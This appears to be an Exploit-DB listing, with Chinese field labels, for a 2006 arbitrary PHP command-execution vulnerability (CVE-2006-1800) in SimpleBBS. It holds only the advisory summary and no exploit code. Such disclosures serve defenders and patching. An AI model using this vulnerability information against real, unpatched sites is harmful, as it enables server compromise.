标题: SimpleBBS 1.0.6/1.0.7/1.1 - Arbitrary Command Execution EDB-ID: 27638 CVE: 2006-1800 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17501/info

SimpleBBS is prone to an arbitrary command-execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to execute arbitrary PHP commands in the context of the webserver process. This may help attackers compromise the underlying system; other attacks are also possible.
